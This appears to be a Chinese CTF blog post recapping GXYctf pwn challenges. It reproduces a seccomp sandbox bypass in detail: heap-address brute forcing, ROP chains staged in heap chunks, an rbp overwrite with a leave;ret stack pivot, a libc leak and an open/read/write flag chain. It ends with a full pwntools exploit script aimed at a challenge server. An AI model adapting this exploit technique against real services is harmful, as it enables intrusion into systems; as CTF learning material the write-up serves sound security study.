前天刚打了GXYctf,俗称高血压,昨天复现了没出的题目,今天总结下收获吧。

pwn题目分析

这次比赛一共有五道pwn,早上出了两道.whali3n5师傅去打XMAN去了.
师傅说这次比赛是新手向(着了道了)。早上的两道pwn也挺简单,还是挺容易就出了,没啥可说的。
玄学总是你中午吃个饭,比赛就容易凉球了。虽然是个玄学,但有时候确实挺真实。
下午陆续出了三道pwn,一道盲打,一道浏览器pwn,一道沙盒绕过。

盲打

这个我思想出了问题,生怕把程序打爆了,后来一想确实脑子有坑,盲打总结一下,千万别顺着程序给的思路走。
如果是堆题,就去测试可不可以double free,或者有没有单字节溢出。总之那些容易漏洞的地方试就完事了。
结果这题在栈上。发现当直接回车时泄露栈地址,没有限制你写的块多少。这样我们就可以不断往下写块。就可以覆盖返回地址。

浏览器pwn

这个当时没看,也没复现.大哥说简单的一批。还得在学一下。

沙盒绕过

这个我当时以为我能做(其实其他两个题都不会。。),然后我看了半天都不知道洞在哪。
最后周哥XMAN结束后帮我打pwn,他出了盲打之后帮我看了看沙盒(周哥牛逼),告诉我了洞,下面复现了下大致思路。

沙盒绕过复现

思路

提前在堆块里写好ROP,然后在利用菜单函数8个字节的溢出来覆盖rbp,并且选择退出菜单,当main结束时
利用leave;ret;,也就是mov rsp,rbp;ret,此时rbp是我们可以覆盖的,这样我们就劫持了rsp,在这之前
我们可以在菜单选项里爆破堆块地址。然后将rsp指向堆地址,执行堆地址里的ROP,沙盒封死了很多函数,一开始打算用
mprotect来将bss段权限设为7,然后在bss段写shellcode,然后mprotect也被封了。。
只能在堆里写ROP泄露libc地址,然后调用read()函数,然后继续栈迁移迁移到bss段,在read()函数里我们在bss段
写好ROP,大致就是open('flag','r')->read(3,addr,0x100)->write(1,addr,0x100)

这个是洞的位置
首先要在爆破堆块地址

1
2
3
4
5
6
7
8
9
10
for i in range(3):
for ao in lie:
x=payload+str(ao)
think(2,len(x),x)
cao=ord(p.recv(1))
if cao==121:
payload+=str(ao)
print "pagload=>",hex(u64(payload.ljust(8,'\x00')))
break
print "pagload=>",hex(u64(payload.ljust(8,'\x00')))

然后在堆上构造ROP链,这里要注意千万要提前申请几个堆块,让有ROP的堆块地址大一些,不然一压栈压出heap范围
就报错了(我在这卡了好久,还是周哥帮我解决,周哥牛逼!),堆块里写好ROP

1
2
3
4
5
6
7
8
ROP_=p64(pop_rdi_ret)+p64(__libc_start_main)+p64(pop_r3_ret)+p64(0)#+p64(puts_plt)+p64(main_addr)	
add(0,ROP_)
ROP_2=p64(puts_plt)+p64(pop_rdi_ret)+p64(0)+p64(pop_r2_ret)
add(1,ROP_2)
ROP_3=p64(pop_rsi_r13_ret)+p64(0x602150)+p64(0)+p64(pop_r2_ret)
add(3,ROP_3)
ROP_4=p64(read_plt)+p64(0x0400800)+p64(0x602158)+p64(0x4009ed)
add(4,ROP_4)

这里要注意你堆块的结构,必须是

这样你才能保证你申请堆块的时候地址是连续增加的
ROP链为puts(__libc_start)->read(1,bss,0x1000)->(栈迁移到bss)

1
2
3
4
5
6
7
payload='./flag'.ljust(8,'\x00')+p64(0x602158)+p64(pop_rdi_ret)+p64(0x602150)
payload+=p64(pop_rsi_r13_ret)+p64(0x72)+p64(0)
payload+=p64(libcbase_addr+libc.symbols['open'])
payload+=p64(pop_rsi_r13_ret)+p64(u64(ao.ljust(8,'\x00')))+p64(0)+p64(pop_rdi_ret)+p64(3)+p64(pop_rdx_ret)
payload+=p64(0x100)+p64(read_plt)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r13_ret)+p64(u64(ao.ljust(8,'\x00')))
payload+=p64(0)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)+p64(main_addr)
p.send(payload)

bss段open('flag','r')->read(3,addr,0x100)->write(1,addr,0x100)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# -*- coding: utf-8 -*
from pwn import *

#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('seccomp')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.symbols['read']
__libc_start_main=elf.got['__libc_start_main']
a=['\x00','\x10','\x20','\x30','\x40','\x50','\x60','\x70','\x80','\x90','\xa0','\xb0','\xc0','\xd0','\xe0','\xf0']
lie=['\x00','\x01','\x02','\x03','\x04','\x05','\x06','\x07','\x08','\x09','\x0a','\x0b','\x0c','\x0d','\x0e','\x0f',
'\x10','\x11','\x12','\x13','\x14','\x15','\x16','\x17','\x18','\x19','\x1a','\x1b','\x1c','\x1d','\x1e','\x1f',
'\x20','\x21','\x22','\x23','\x24','\x25','\x26','\x27','\x28','\x29','\x2a','\x2b','\x2c','\x2d','\x2e','\x2f',
'\x30','\x31','\x32','\x33','\x34','\x35','\x36','\x37','\x38','\x39','\x3a','\x3b','\x3c','\x3d','\x3e','\x3f',
'\x40','\x41','\x42','\x43','\x44','\x45','\x46','\x47','\x48','\x49','\x4a','\x4b','\x4c','\x4d','\x4e','\x4f',
'\x50','\x51','\x52','\x53','\x54','\x55','\x56','\x57','\x58','\x59','\x5a','\x5b','\x5c','\x5d','\x5e','\x5f',
'\x60','\x61','\x62','\x63','\x64','\x65','\x66','\x67','\x68','\x69','\x6a','\x6b','\x6c','\x6d','\x6e','\x6f',
'\x70','\x71','\x72','\x73','\x74','\x75','\x76','\x77','\x78','\x79','\x7a','\x7b','\x7c','\x7d','\x7e','\x7f',
'\x80','\x81','\x82','\x83','\x84','\x85','\x86','\x87','\x88','\x89','\x8a','\x8b','\x8c','\x8d','\x8e','\x8f',
'\x90','\x91','\x92','\x93','\x94','\x95','\x96','\x97','\x98','\x99','\x9a','\x9b','\x9c','\x9d','\x9e','\x9f',
'\xa0','\xa1','\xa2','\xa3','\xa4','\xa5','\xa6','\xa7','\xa8','\xa9','\xaa','\xab','\xac','\xad','\xae','\xaf',
'\xb0','\xb1','\xb2','\xb3','\xb4','\xb5','\xb6','\xb7','\xb8','\xb9','\xba','\xbb','\xbc','\xbd','\xbe','\xbf',
'\xc0','\xc1','\xc2','\xc3','\xc4','\xc5','\xc6','\xc7','\xc8','\xc9','\xca','\xcb','\xcc','\xcd','\xce','\xcf',
'\xd0','\xd1','\xd2','\xd3','\xd4','\xd5','\xd6','\xd7','\xd8','\xd9','\xda','\xdb','\xdc','\xdd','\xde','\xdf',
'\xe0','\xe1','\xe2','\xe3','\xe4','\xe5','\xe6','\xe7','\xe8','\xe9','\xea','\xeb','\xec','\xed','\xee','\xef',
'\xf0','\xf1','\xf2','\xf3','\xf4','\xf5','\xf6','\xf7','\xf8','\xf9','\xfa','\xfb','\xfc','\xfd','\xfe']
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
p = process('./seccomp')

else:
p = remote(ip,port)
def add(index,code):
p.sendlineafter('3 delete\n','1')
p.sendlineafter('index\n',str(index))
p.sendafter('code\n',code)
def think(index,size,code):
p.sendlineafter('3 delete\n','2')
p.sendlineafter('index\n',str(index))
p.sendlineafter('size\n',str(size))
p.sendlineafter('give me your code\n',code)
def free(index):
p.sendlineafter('3 delete\n','3')
p.sendlineafter('index\n',str(index))

#payload='4'+'\x00'*7+p64(0)+p64(0x60214F)

#p.sendlineafter('3 delete\n',payload)
add(5,'a')
add(6,'a')
add(7,'a')
add(8,'a')
add(9,'a')
add(0,'a')
add(1,'a')
add(2,'a')
add(3,'a')
add(4,'a')
free(3)
free(2)
free(1)
free(0)
free(4)
add(2,'a')
payload='\x61'
for i in range(3):
for ao in lie:
x=payload+str(ao)
think(2,len(x),x)
cao=ord(p.recv(1))
if cao==121:
payload+=str(ao)
print "pagload=>",hex(u64(payload.ljust(8,'\x00')))
break
print "pagload=>",hex(u64(payload.ljust(8,'\x00')))
ao=payload
pop_rdi_ret=0x400c73
pop_r3_ret=0x0400c6f
pop_r2_ret=0x400c70
main_addr=0x0400AE6
pop_rsi_r13_ret=0x400c71
ROP_=p64(pop_rdi_ret)+p64(__libc_start_main)+p64(pop_r3_ret)+p64(0)#+p64(puts_plt)+p64(main_addr)
add(0,ROP_)
ROP_2=p64(puts_plt)+p64(pop_rdi_ret)+p64(0)+p64(pop_r2_ret)
add(1,ROP_2)

ROP_3=p64(pop_rsi_r13_ret)+p64(0x602150)+p64(0)+p64(pop_r2_ret)
add(3,ROP_3)
write_addr=elf.plt['write']
ROP_4=p64(read_plt)+p64(0x0400800)+p64(0x602158)+p64(0x4009ed)
add(4,ROP_4)
payload='4'+'\x00'*7+p64(0)+p64(u64(payload.ljust(8,'\x00'))+0x97)
context.log_level = 'debug'
p.sendafter('3 delete\n',payload)
#gdb.attach(p)
p.recvline()
__libc_addr=u64(p.recv(6).ljust(8,'\x00'))
print "__libc_addr=>",hex(__libc_addr)
libcbase_addr=__libc_addr-libc.symbols['__libc_start_main']
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
payload='./flag'.ljust(8,'\x00')+p64(0x602158)+p64(pop_rdi_ret)+p64(0x602150)
payload+=p64(pop_rsi_r13_ret)+p64(0x72)+p64(0)
payload+=p64(libcbase_addr+libc.symbols['open'])
payload+=p64(pop_rsi_r13_ret)+p64(u64(ao.ljust(8,'\x00')))+p64(0)+p64(pop_rdi_ret)+p64(3)+p64(pop_rdx_ret)
payload+=p64(0x100)+p64(read_plt)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r13_ret)+p64(u64(ao.ljust(8,'\x00')))
payload+=p64(0)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)+p64(main_addr)
p.send(payload)
p.interactive()
if __name__ == '__main__':
pwn('183.129.189.60',10013,1)